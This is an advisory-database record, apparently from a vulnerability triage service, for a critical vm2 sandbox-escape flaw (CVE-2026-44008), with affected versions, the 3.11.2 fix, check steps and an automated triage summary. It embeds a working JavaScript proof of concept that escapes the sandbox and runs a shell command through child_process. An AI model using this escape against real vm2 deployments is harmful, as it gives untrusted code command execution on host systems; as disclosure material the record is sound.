{"id":"CVE-2026-44008","kind":"vulnerability","aliases":["CVE-2026-44008","GHSA-9qj6-qjgg-37qq"],"related":[],"title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","summary":"vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in the newly added neutralizeArraySpeciesBatch method lets code inside the sandbox reach host objects and the host Function constructor, which allows arbitrary command execution on the host system.","severity":"critical","cvss":9.8,"epss":0.00851,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.2"],"affected":"<= 3.11.1","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.2"],"affected":"< 3.11.2","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-1100","cwe-668","node.js","package","untrusted-code-execution","vm2"],"not_affected_if":["no-untrusted-input","vm2-not-used"],"how_to_check":"- Find vm2 in your lockfiles and installed packages, e.g. `npm ls vm2`\n- Check whether the installed version is `3.11.1` or lower\n- Search your code for `require(\"vm2\")` or `from \"vm2\"` to see whether untrusted code reaches a vm2 sandbox","fix":"- vm2 `3.11.2`","status":"open","published_at":"2026-05-08T15:58:48+00:00","first_seen_at":"2026-11-04T03:36:22+00:00","triaged_at":"2026-11-04T03:36:53+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T03:36:53Z","model":"claude-haiku-5-5","output":{"fix":"- vm2 `3.11.2`","reach":"unknown","title":"vm2: sandbox escape lets sandboxed code run commands on the host","impact":"high","summary":"vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in the newly added neutralizeArraySpeciesBatch method lets code inside the sandbox reach host objects and the host Function constructor, which allows arbitrary command execution on the host system.","audience":"developers","category":"package","nicknames":[],"who_cares":["node.js","vm2","untrusted-code-execution"],"confidence":0.85,"fix_status":"available","needs_auth":"unknown","worst_case":"sandboxed code executes arbitrary commands on the host system","analyst_note":"Check the GHSA advisory and the 3.11.2 release for whether the PoC needs any specific options, and whether the sandbox is reachable remotely in typical deployments.","how_to_check":"- Find vm2 in your lockfiles and installed packages, e.g. `npm ls vm2`\n- Check whether the installed version is `3.11.1` or lower\n- Search your code for `require(\"vm2\")` or `from \"vm2\"` to see whether untrusted code reaches a vm2 sandbox","plain_action":"","needs_analyst":true,"not_affected_if":["no-untrusted-input","vm2-not-used"],"who_is_affected":"Any application that uses vm2 to run code it does not fully trust, such as user-submitted scripts, plugins or templates, is exposed on versions up to 3.11.1. Applications that only run their own fixed code in vm2, with no untrusted input reaching the sandbox, are a much lower risk, though the sources do not say how often that holds in practice.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000768,"input_tokens":4504,"output_tokens":635,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1100':23B '-2026':8A,16A '-44008':9A,17A '-668':25B '0':167C '37qq':14A '9qj6':12A 'a.f':170C 'add':50B 'allow':67B,84C 'arbitrari':68B,98C,195C 'array':126C 'array.prototype':166C 'assumpt':193C 'attack':85C,185C 'breakout':4A,81C 'buffer':182C 'buffer.prototype.inspect':171C 'call':118C 'child':176C 'code':30B,41B,54B,88C,189C,196C 'command':69B,99C 'console.log':161C 'const':153C,157C,163C 'constructor':65B 'context':202C 'cve':7A,15A 'cwe':22B,24B 'detail':104C 'escap':91C 'execsync':178C 'execut':31B,70B,97C,190C,199C 'expos':128C 'flaw':46B 'function':64B,149C 'get':142C,146C 'getter':123C 'ghsa':11A 'ghsa-9qj6-qjgg-37qq':10A 'host':59B,63B,73B,102C,143C,148C 'impact':184C 'insid':55B,200C 'js':152C 'let':53B 'librari':37B 'mainmodule.require':175C 'method':52B,107C 'neutralizearrayspeciesbatch':6A,51B,108C 'new':106C,159C,181C 'newli':49B 'node.js':26B,36B 'object':60B,111C,129C,144C,150C 'object.defineproperty':165C 'packag':27B 'perform':187C 'poc':151C 'process':174C,177C 'project':20A 'prototyp':127C 'pwned':180C 'qjgg':13A 'reach':58B 'remot':188C 'requir':155C 'return':173C 'run':39B 'sandbox':3A,44B,57B,80C,95C,136C,206C 'set':168C 'side':115C,121C,133C 'suffer':77C 'summari':75C 'system':74B,103C 'touch':179C 'untrust':29B,40B 'untrusted-code-execut':28B 'use':140C 'valu':169C 'value.arr.f.constructor.constructor':172C 'via':5A,122C 'vm':154C,158C,160C 'vm.run':162C 'vm2':1A,18A,19A,21A,32B,33B,76C,94C,156C,205C 'vulner':82C 'work':109C 'write':87C 'wrong':132C","nicknames":[],"mitigations":[],"who_affected":"Any application that uses vm2 to run code it does not fully trust, such as user-submitted scripts, plugins or templates, is exposed on versions up to 3.11.1. Applications that only run their own fixed code in vm2, with no untrusted input reaching the sandbox, are a much lower risk, though the sources do not say how often that holds in practice.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["critical","cwe1100","cwe668","nodejs","npm","package","untrustedcodeexecution","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-03T21:34:12+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9qj6-qjgg-37qq","url":"https://github.com/advisories/GHSA-9qj6-qjgg-37qq","severity":"critical","published_at":"2026-05-08T15:58:48+00:00","modified_at":"2026-11-04T03:33:51+00:00","first_seen_at":"2026-11-04T03:36:22+00:00","fetched_at":"2026-11-04T03:36:22+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-44008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44008","severity":null,"published_at":"2026-05-13T18:16:17+00:00","modified_at":"2026-10-26T17:10:03+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63616,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9qj6-qjgg-37qq","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63617,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-03T21:34:12+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63614,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":63619,"url":"https://github.com/patriksimek/vm2/commit/ca195f0178989d6f59eafb7af965806f829e20f7","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}